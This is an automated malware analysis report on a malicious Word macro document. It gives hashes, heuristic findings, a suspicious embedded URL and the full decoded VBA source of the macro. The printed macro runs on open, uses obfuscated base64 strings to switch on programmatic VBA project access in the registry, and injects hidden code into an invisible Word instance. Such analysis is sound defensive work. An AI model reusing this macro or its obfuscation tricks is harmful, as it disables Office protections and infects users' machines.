Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cd06fb1b7516d17c…

MALICIOUS

Office (OOXML)

169.0 KB Created: 2021-04-28 05:22:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: fde06927c1f9f0aea67d63cba49e65f6 SHA-1: 591624417e0bd08bfe39063a17c2498fe7873476 SHA-256: cd06fb1b7516d17cb8c83046a1f2312a19dfd1c46e41d8007a55d40d8abfce05
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    vbCaption.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString optionRepoText
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set collectionWindow = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://2003-ortega-coin.com/bijol/zZh8EIhkrSUqE/wvmpeISJDubxjzEjoa61qZS8xgQCjHj/xa5ItIv2KPbo3QzSDAD5bpR7WaczCc9wrlEz7WbOR/QppHKYr78gks5vSFcqsdzdT4NDxo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2846 bytes
SHA-256: 8008998efefee4595dd3faf0e00f60948366808686f62d2c3204915d3ec934e1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{32E25828-7C13-4518-B7D5-2E5207873A30}{DD289994-A911-4F72-9ED0-4B6CFC162ADA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "libVarBuffer"
Sub autoopen()
listboxCopy
Dim vbMemCounter As String
vbMemCounter = tableReference
valueProcedure vbMemCounter
End Sub

Attribute VB_Name = "valueMemMemory"
Function classArgument(buttonLeftTrust As String) As Variant
Dim collectionWindow As Object
Dim ALoad As Object
Set collectionWindow = CreateObject("msxml2.domdocument")
Set ALoad = collectionWindow.createElement("code")
ALoad.DataType = "bin.base64"
ALoad.Text = buttonLeftTrust
classArgument = ALoad.nodeTypedValue
End Function
Function sizeMemory(captionSwapText, namespaceGeneric)
sizeMemory = StrConv(captionSwapText, namespaceGeneric)
End Function

Attribute VB_Name = "valueViewRequest"
Sub valueProcedure(optionRepoText As String)
Set rightAMain = CreateObject("word.application")
Set vbCaption = rightAMain.Documents.Add
vbCaption.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString optionRepoText
rightAMain.Visible = False
rightAMain.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "exceptionNextBuffer"
Function windowResponseSwap() As String
windowResponseSwap = Application.Version
End Function
Function deleteNext()
deleteNext = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function titleIterator()
titleIterator = "cript.sh"
End Function
Function repoFunc()
repoFunc = "VjdXJpdHlcQWN"
End Function
Sub listboxCopy()
captionConst = sizeMemory(classArgument("SEtFWV9DVVJSR" & deleteNext & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
lenReferenceStruct = windowResponseSwap
leftSelect = sizeMemory(classArgument("XFdvcmRcU2" & repoFunc & "jZXNzVkJPTQ=="), vbUnicode)
requestOptionGeneric = captionConst & lenReferenceStruct & leftSelect
With CreateObject("ws" & titleIterator & "ell")
.RegWrite requestOptionGeneric, 1, "REG_DWORD"
End With
End Sub
Public Function namespaceArrayClear(ByVal mainCopyMem As String) As String
For lenConstLen = 1 To Len(mainCopyMem) Step 2
procDocument = Chr$(Val("&H" & Mid$(mainCopyMem, lenConstLen, 2)))
iteratorPointer = iteratorPointer & procDocument
Next lenConstLen
namespaceArrayClear = iteratorPointer
End Function
Function tableReference()
tableReference = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: ed1fa9bb8477b78460d7b15f075e3cf76d3d96789b9fbca6627e62059cdfd030
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).